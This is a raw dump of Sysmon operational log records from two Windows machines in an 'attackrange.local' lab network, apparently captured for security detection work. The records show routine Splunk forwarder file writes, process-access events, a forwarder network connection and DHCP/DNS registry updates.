Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=1E662CC0F309048A3CCE2E01EBB065C1,SHA256=9E2727EB1CDA75BC72487E723F14A17CA3D18C57DD6E7E2E050B1B1C0F4206E1,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000013584Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:58.512{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50099-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000038391Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:00.091{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=C57EF26D98E4FAB32A074541125BE08A,SHA256=EA61D9E512788416D4DE7B9C648494C4173446F74E811264F8FAED7219EF03F5,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000013586Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:01.822{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=40860F79D0FBF55B2499E3E0879894E8,SHA256=4155AEFD62E0625C7AD10C2A41BDE5C235C87BCCA314C12D16929FD83DF73191,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000038396Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:01.904{7BD73061-65B2-613B-0D00-00000000F001}8925164C:\Windows\system32\svchost.exe{7BD73061-6D0E-613B-8C06-00000000F001}4864C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+b4d7|c:\windows\system32\rpcss.dll+8257|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000038395Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:01.185{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=80CA16DDF2737BC8636A55CD7152C730,SHA256=CBF7D0B3A4D89E9DF6B47D586DC01DB947ECAFCFB7559957CE6DFBB324D87FA0,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038394Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:01.107{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=0F613C4FFB3FDF7B6C2AA36B4AE56B74,SHA256=CD18A4C36107644EF90DC53898C97E16A5C229C08FCF97724D0DFA4EF02BF784,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038393Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:01.060{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\PublisherPolicy.tmeMD5=D41D8CD98F00B204E9800998ECF8427E,SHA256=E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000013614Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:02.837{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=91DAD9862B14F70ECCDA2BB9EFD92F7B,SHA256=36DDBE92CE544E8B9229DCED88E68BABDADCC329AA0B9C066EBF53183AFDD95F,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038399Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:02.232{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\PublisherPolicy.tmeMD5=D41D8CD98F00B204E9800998ECF8427E,SHA256=E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038398Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:02.232{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B7EC2E1CD21FA36FB0B7A7B76A23574E,SHA256=F1427FB991118F037377BD8676E7B303D18D096426BB9616021578D77317CE14,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000013613Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:02.587{625C326B-67ED-613B-0B00-00000000F101}6283684C:\Windows\system32\lsass.exe{625C326B-67EA-613B-0100-00000000F101}4System0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\system32\kerberos.DLL+96ef2|C:\Windows\system32\kerberos.DLL+793e4|C:\Windows\system32\kerberos.DLL+1443f|C:\Windows\system32\lsasrv.dll+2d211|C:\Windows\system32\lsasrv.dll+2b3d4|C:\Windows\system32\lsasrv.dll+30929|C:\Windows\system32\lsasrv.dll+2e287|C:\Windows\system32\lsasrv.dll+2d211|C:\Windows\system32\lsasrv.dll+15ded|C:\Windows\SYSTEM32\SspiSrv.dll+1a96|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e 13241300x800000000000000013612Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-SetValue2021-09-10 14:43:02.478{625C326B-67EE-613B-1500-00000000F101}360C:\Windows\system32\svchost.exeHKLM\System\CurrentControlSet\Services\Tcpip\Parameters\DNSRegisteredAdapters\{171CAD81-9AE4-4B05-A920-33F7DCFE5C85}\RegisteredSinceBootDWORD (0x00000001) 13241300x800000000000000013611Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-SetValue2021-09-10 14:43:02.478{625C326B-67EE-613B-1500-00000000F101}360C:\Windows\system32\svchost.exeHKLM\System\CurrentControlSet\Services\Tcpip\Parameters\DNSRegisteredAdapters\{171CAD81-9AE4-4B05-A920-33F7DCFE5C85}\StaleAdapterDWORD (0x00000000) 13241300x800000000000000013610Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-SetValue2021-09-10 14:43:02.478{625C326B-67EE-613B-1500-00000000F101}360C:\Windows\system32\svchost.exeHKLM\System\CurrentControlSet\Services\Tcpip\Parameters\DNSRegisteredAdapters\{171CAD81-9AE4-4B05-A920-33F7DCFE5C85}\CompartmentIdDWORD (0x00000001) 13241300x800000000000000013609Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-SetValue2021-09-10 14:43:02.478{625C326B-67EE-613B-1500-00000000F101}360C:\Windows\system32\svchost.exeHKLM\System\CurrentControlSet\Services\Tcpip\Parameters\DNSRegisteredAdapters\{171CAD81-9AE4-4B05-A920-33F7DCFE5C85}\FlagsDWORD (0x00000002) 13241300x800000000000000013608Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-SetValue2021-09-10 14:43:02.478{625C326B-67EE-613B-1500-00000000F101}360C:\Windows\system32\svchost.exeHKLM\System\CurrentControlSet\Services\Tcpip\Parameters\DNSRegisteredAdapters\{171CAD81-9AE4-4B05-A920-33F7DCFE5C85}\TtlDWORD (0x000004b0) 13241300x800000000000000013607Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-SetValue2021-09-10 14:43:02.478{625C326B-67EE-613B-1500-00000000F101}360C:\Windows\system32\svchost.exeHKLM\System\CurrentControlSet\Services\Tcpip\Parameters\DNSRegisteredAdapters\{171CAD81-9AE4-4B05-A920-33F7DCFE5C85}\SentPriUpdateToIpBinary Data 13241300x800000000000000013606Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-SetValue2021-09-10 14:43:02.478{625C326B-67EE-613B-1500-00000000F101}360C:\Windows\system32\svchost.exeHKLM\System\CurrentControlSet\Services\Tcpip\Parameters\DNSRegisteredAdapters\{171CAD81-9AE4-4B05-A920-33F7DCFE5C85}\SentUpdateToIpBinary Data 13241300x800000000000000013605Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-SetValue2021-09-10 14:43:02.478{625C326B-67EE-613B-1500-00000000F101}360C:\Windows\system32\svchost.exeHKLM\System\CurrentControlSet\Services\Tcpip\Parameters\DNSRegisteredAdapters\{171CAD81-9AE4-4B05-A920-33F7DCFE5C85}\DnsServersBinary Data 13241300x800000000000000013604Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-SetValue2021-09-10 14:43:02.478{625C326B-67EE-613B-1500-00000000F101}360C:\Windows\system32\svchost.exeHKLM\System\CurrentControlSet\Services\Tcpip\Parameters\DNSRegisteredAdapters\{171CAD81-9AE4-4B05-A920-33F7DCFE5C85}\HostAddrsBinary Data 13241300x800000000000000013603Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-SetValue2021-09-10 14:43:02.478{625C326B-67EE-613B-1500-00000000F101}360C:\Windows\system32\svchost.exeHKLM\System\CurrentControlSet\Services\Tcpip\Parameters\DNSRegisteredAdapters\{171CAD81-9AE4-4B05-A920-33F7DCFE5C85}\PrimaryDomainNameattackrange.local 13241300x800000000000000013602Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-SetValue2021-09-10 14:43:02.478{625C326B-67EE-613B-1500-00000000F101}360C:\Windows\system32\svchost.exeHKLM\System\CurrentControlSet\Services\Tcpip\Parameters\DNSRegisteredAdapters\{171CAD81-9AE4-4B05-A920-33F7DCFE5C85}\AdapterDomainName(Empty) 13241300x800000000000000013601Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-SetValue2021-09-10 14:43:02.478{625C326B-67EE-613B-1500-00000000F101}360C:\Windows\system32\svchost.exeHKLM\System\CurrentControlSet\Services\Tcpip\Parameters\DNSRegisteredAdapters\{171CAD81-9AE4-4B05-A920-33F7DCFE5C85}\Hostnamewin-host-166 13241300x800000000000000013600Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-SetValue2021-09-10 14:43:02.462{625C326B-67EE-613B-1500-00000000F101}360C:\Windows\system32\svchost.exeHKLM\System\CurrentControlSet\Services\Tcpip\Parameters\DNSRegisteredAdapters\{171CAD81-9AE4-4B05-A920-33F7DCFE5C85}\RegisteredSinceBootDWORD (0x00000001) 13241300x800000000000000013599Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-SetValue2021-09-10 14:43:02.462{625C326B-67EE-613B-1200-00000000F101}300C:\Windows\System32\svchost.exeHKLM\System\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\{171cad81-9ae4-4b05-a920-33f7dcfe5c85}\DhcpConnForceBroadcastFlagDWORD (0x00000000) 13241300x800000000000000013598Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-SetValue2021-09-10 14:43:02.462{625C326B-67EE-613B-1200-00000000F101}300C:\Windows\System32\svchost.exeHKLM\System\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\{171cad81-9ae4-4b05-a920-33f7dcfe5c85}\IsServerNapAwareDWORD (0x00000000) 13241300x800000000000000013597Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-SetValue2021-09-10 14:43:02.462{625C326B-67EE-613B-1200-00000000F101}300C:\Windows\System32\svchost.exeHKLM\System\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\{171cad81-9ae4-4b05-a920-33f7dcfe5c85}\AddressTypeDWORD (0x00000000) 13241300x800000000000000013596Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-SetValue2021-09-10 14:43:02.462{625C326B-67EE-613B-1200-00000000F101}300C:\Windows\System32\svchost.exeHKLM\System\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\{171cad81-9ae4-4b05-a920-33f7dcfe5c85}\LeaseTerminatesTimeDWORD (0x613b7d06) 13241300x800000000000000013595Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-SetValue2021-09-10 14:43:02.462{625C326B-67EE-613B-1200-00000000F101}300C:\Windows\System32\svchost.exeHKLM\System\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\{171cad81-9ae4-4b05-a920-33f7dcfe5c85}\T2DWORD (0x613b7b44) 13241300x800000000000000013594Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-SetValue2021-09-10 14:43:02.462{625C326B-67EE-613B-1200-00000000F101}300C:\Windows\System32\svchost.exeHKLM\System\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\{171cad81-9ae4-4b05-a920-33f7dcfe5c85}\T1DWORD (0x613b75fe) 13241300x800000000000000013593Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-SetValue2021-09-10 14:43:02.462{625C326B-67EE-613B-1200-00000000F101}300C:\Windows\System32\svchost.exeHKLM\System\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\{171cad81-9ae4-4b05-a920-33f7dcfe5c85}\LeaseObtainedTimeDWORD (0x613b6ef6) 13241300x800000000000000013592Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-SetValue2021-09-10 14:43:02.462{625C326B-67EE-613B-1200-00000000F101}300C:\Windows\System32\svchost.exeHKLM\System\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\{171cad81-9ae4-4b05-a920-33f7dcfe5c85}\LeaseDWORD (0x00000e10) 13241300x800000000000000013591Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-SetValue2021-09-10 14:43:02.462{625C326B-67EE-613B-1200-00000000F101}300C:\Windows\System32\svchost.exeHKLM\System\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\{171cad81-9ae4-4b05-a920-33f7dcfe5c85}\DhcpServer10.0.1.1 13241300x800000000000000013590Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-SetValue2021-09-10 14:43:02.462{625C326B-67EE-613B-1200-00000000F101}300C:\Windows\System32\svchost.exeHKLM\System\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\{171cad81-9ae4-4b05-a920-33f7dcfe5c85}\DhcpSubnetMask255.255.255.0 13241300x800000000000000013589Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-SetValue2021-09-10 14:43:02.462{625C326B-67EE-613B-1200-00000000F101}300C:\Windows\System32\svchost.exeHKLM\System\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\{171cad81-9ae4-4b05-a920-33f7dcfe5c85}\DhcpIPAddress10.0.1.15 13241300x800000000000000013588Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-SetValue2021-09-10 14:43:02.462{625C326B-67EE-613B-1200-00000000F101}300C:\Windows\System32\svchost.exeHKLM\System\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\{171cad81-9ae4-4b05-a920-33f7dcfe5c85}\DhcpInterfaceOptionsBinary Data 23542300x800000000000000013587Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:02.181{625C326B-67EE-613B-1200-00000000F101}300NT AUTHORITY\LOCAL SERVICEC:\Windows\System32\svchost.exeC:\Windows\ServiceProfiles\LocalService\AppData\Local\lastalive0.datMD5=BC6C1115D58B68D32670EDE761C9740A,SHA256=86D2FA9240B3E29383B5717AE4CDF96BF8D7D08C6349D73F5F5DD03D0407FF40,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038397Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:02.107{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=DF5055058155A759213327DCFC14F27F,SHA256=EC3270F5FC9A838C4D542DDA6A02DDFEEE2C3B9E940C857C467C2C55F1B938B9,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000013615Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:03.837{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=3544777457C7A83BEEBCAEF4272C1093,SHA256=86753CD10B4838904573211664D1317C00F88039647F6BEFED755C36CF2419C8,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000038438Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:03.920{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2B00-00000000F001}2964C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038437Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:03.920{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2B00-00000000F001}2964C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038436Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:03.920{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038435Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:03.920{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038434Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:03.920{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038433Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:03.920{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038432Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:03.920{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038431Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:03.920{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038430Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:03.920{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038429Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:03.920{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038428Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:03.920{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038427Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:03.920{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038426Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 